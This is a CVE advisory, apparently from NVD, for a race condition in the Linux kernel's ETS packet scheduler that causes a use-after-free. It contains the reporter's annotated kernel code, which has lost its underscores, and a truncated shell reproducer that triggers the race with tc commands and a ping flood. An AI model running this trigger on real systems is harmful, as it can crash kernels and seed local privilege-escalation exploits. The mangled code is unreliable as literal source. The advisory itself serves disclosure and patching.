CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in etsqdiscchange

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between etsqdiscdequeue and etsqdiscchange. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int etsqdiscchange(struct Qdisc sch, struct nlattr opt, struct netlinkextack extack) { ...

// (1) this lock is preventing .change handler (etsqdiscchange) //to race with .dequeue handler (etsqdiscdequeue) schtreelock(sch);

for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); }

WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); }

// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch);

etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}"

SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}"

cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

— NVD